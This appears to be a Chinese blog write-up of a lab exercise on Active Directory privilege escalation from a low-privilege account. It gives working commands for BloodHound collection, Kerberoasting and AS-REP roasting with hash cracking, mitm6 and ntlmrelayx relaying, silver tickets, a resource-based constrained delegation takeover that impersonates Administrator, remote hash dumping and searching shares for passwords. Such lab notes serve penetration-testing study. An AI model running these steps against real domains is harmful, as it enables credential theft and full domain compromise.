文章里面主要提到在低权限的情况下,怎么做信息收集然后借助工具提权,其中牵涉到的原理我也会尽量描述清楚。
Bloodhound
使用方法很简单,mac下直接安装就行。就是下载数据库的时候贼慢,全局代理下吧。
Python学习群:683380553,有大牛答疑,有资源共享!是一个非常不错的交流基地!欢迎喜欢Python的小伙伴!
登录
远程dump数据
首先安装这个
GitHub - fox-it/BloodHound.py: A Python based ingestor for BloodHound
运行的时候你可能会遇到
ImportError: No module named cstruct 类似的,我被坑了好久,一只安装不好这个库,有个issue: Python Error - "cannot import name cstruct" · Issue #5 · fox-it/bloodhound-import · GitHub
原来是因为我pip没更新到最新版本。。。
安装完成以后就可以使用了。
但是又有一个坑,解析的时候dns解析不到域控上面去,本来是代理一个http出来,但是dns解析不到dc,只能在靶机安装py2,但是不太实用,实战中不可能去给别人装这些环境。看效果图吧。
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
python bloodhound.py -d pentestlab.com -u flowing -p xxx -gc win7.pentestlab.com -c all -v --dns-tcp
</pre>
- GitHub - GoFetchAD/GoFetch: GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application. :结合json数据绘制攻击思路
使用视频:
YouTube
Kerberoasting攻击 | Tool: GetUserSPNs.py
在识别到域内的机器和域控时,一种提权方式是Kerberoasting。
什么是Kerberoasting?
在域环境中为用户配置环境时,比如一些数据库服务,这时候会用到SPN(服务主体名称),它将服务和账户关联起来,用户访问特定的资源文件时,会收到这个账户ntml hash签名的Kerberos 票据。
我们拿到这个票据后可以直接离线破解。
关于这个的工具文末的参考链接中有介绍,但是用自己习惯的就好了。
GetUserSPNs 比较简单。
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
proxychains4 python GetUserSPNs.py -request -dc-ip 10.0.0.2 pentestlab.com/flowing
</pre>
我的dc没安装mssql,emmmm。
看示例图吧
通过hashcat就可以破解。
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
hashcat -m 13100 -a 0 kerberos.txt cracks.txt
</pre>
有了明文,可以尝试直接登录DC。
ASEPRoasting | tool:Rubeus
ASEPRoasting的攻击方法和Kerberoasting类似,模拟请求TGT,然后破解,但是要进行这个攻击的话前提条件就是关闭了kerberos预身份认证。
使用 Rubeus 进行攻击
这是一个专门针对Kerberos的工具包。
先编译
。。。。
。。。。
。。。。
卧槽,这编译太坑了。所以我是不会给你们我编译好的exe的,嘿嘿嘿,自己下vs2017折腾去。f**k。
成功拿到。
哭唧唧......
编译太坑了。
SILENTTRINITY
SILENTTRINITY是使用IronPython和C#开发的工具。
demon博客有使用视频。
SILENTTRINITY | Demonsec
首先做一个共享目录
存放我们的恶意xml文件。
然后配合cme去执行xml。
先测试一下
然后这边就会得到一个shell,我这里测试不太稳定。
这个工具只支持.net 4.5
-exec-method atexec选项的作用是返回一个system shell。
无约束的 Kerberos
计算机中有一个 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,此属性控制用户是否可以通过Kerberos模拟登录域中的任何计算机。可以通过reply攻击完成。
这里使用mitm6
简单的说一下mitm6原理
mitm6首先监听攻击者计算机的主要接口,然后所有计算机会来请求这个接口,但是响应的是DHCPv6请求,为每台计算机分配一个地址,所以就相当于是一台DNS服务器,通信的时候,目标机会发送NTLM challenge/response 数据到我们的机器上,作为中间人攻击。然后配合 ntlmrelayx 进行reply攻击,就是中继。
选择指定的域:
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
mitm6 -i en0 -d pentestlab.com
</pre>
再通过ntlmrelayx.py提供wpad文件,通过ldaps中继到DC
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
python ntlmrelayx.py -t ldaps://pentestlab-Dc.pentestlab.com -wh 192.168.123.54 --delegate-access
</pre>
这个攻击需要耐心的,因为目标可能好几天不上网,你就抓不到,但是只要他打开ie之类的代理工具,就能抓到凭据。
生成银票据
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
getST.py -spn cifs/pentestlabwin7.pentestlab.com pentestlab.com/AFWMZ0DS\$ -dc-ip 10.10.0.2 -impersonate Administrator
</pre>
这里提一下,cifs是一种网络协议,然后关于银票据的个人看法。
个人觉得,虽然金票据的权限比银票据高,但是银票据更加隐蔽,因为不和kdc通信,而是直接和对应服务进行通信。得到的权限也不一定很低。
最后通过secretsdump.py远程dump hash即可。
RBCD攻击
Resource-based Constrained Delegation
这个方法原理比较长,可能得单独拿一篇出来讲,这几天看的头都大了。
攻击前提是需要有一台win2012的DC。因为老版本不支持RBCD。
tools:
- GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
- PowerSploit/PowerView.ps1 at dev · PowerShellMafia/PowerSploit · GitHub
- GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
先设置允许使用脚本。
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
</pre>
导入需要的脚本
powerview使用这个新版本的。
查询DACL权限:Discretionary Access Control List
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
$AttSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL Pentestlabwin7.pentestlab.com | ?{$_.SecurityIdentifier -match $AttSID}
</pre>
acl相关的权限
接下来创建一个新的用户,因为msDS-allowedToActOnBehalfOfOtherIdentity策略未安全设置的原因,新的计算机用户可以伪装成域内的管理员。
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
New-MachineAccount -MachineAccount hackerwing -Password $(ConvertTo-SecureString 'wing2019' -AsPlainText -Force)
</pre>
然后就是把用户的SID添加到DC的msDS-allowedToActOnBehalfOfOtherIdentity属性中。
安全标识符 (Security Identifier,SID)是Windows操作系统使用的独一无二的,不变的标识符用于标识用户、用户群、或其他安全主体(英语:security principal).安全标识符一经产生,不会与全世界任何的安全标识符重复;也不随用户更名而变化。如果删除了用户帐户,然后再创建同名帐户,则产生的安全标识符是不同的
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
$ComputerSid = Get-DomainComputer hackerwing -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
</pre>
用Rubeus创建NT hash
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
Rubeus.exe hash /user:hackerwing /password:wing2019 /domain:pentestlab.com
</pre>
再使用Rubeus的S4U(用户服务)功能模拟DC ADMIN
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
Rubeus.exe s4u /user:hackerwing$ /rc4: 6D1BF3B1E6C721EA14C13A007E656FAA /impersonateuser:Administrator /msdsspn:cifs/pentestLab-DC.pentestlab.com /ptt
</pre>
票据导入后,就可以直接访问DC。
[图片上传失败...(image-fb9612-1553582832664)]
有个视频,直观些。
YouTube
MS14-025,GPP
这个洞人尽皆知了。
msf有模块
不过一般看一下SYSVOL目录就行。
查找权限高的用户|CrackMapExec
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
cme smb 192.168.123.0/24 -u flowing -p Admin@1234 --shares
</pre>
有高权限的目录的话,会提示出来。
配合你自己的C2工具横向渗透。
PowerTools
还有一个重要的点就是在磁盘上收集已知密文。
PowerView中有一个叫Invoke-FileFinder的命令,它允许您在文件或文件中搜索你想要的任何字符串。
password
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
Invoke-FileFinder -Threads 100 -Verbose -Terms password
</pre>
这是2.0版本的
新版本
<pre style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; word-break: break-word;">
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential
</pre>
PowerUp
在PowerUp模块中有一个叫Invoke-All-Checks的函数,检查所有不安全的配置项。
Get-ExploitableSystem
就是会列出哪些可能存在的漏洞,会给出msf模块的具体位置。
最近的cwe应该比这个好用。
GetSystem
和msf的也类似
ADAPE
这个是作者写的一个工具,自动生成报告。
运行以后在当前目录生成
更多可以在下面的参考链接找到,看别人操作是一回事,自己复现起来坑就多了。
网友评论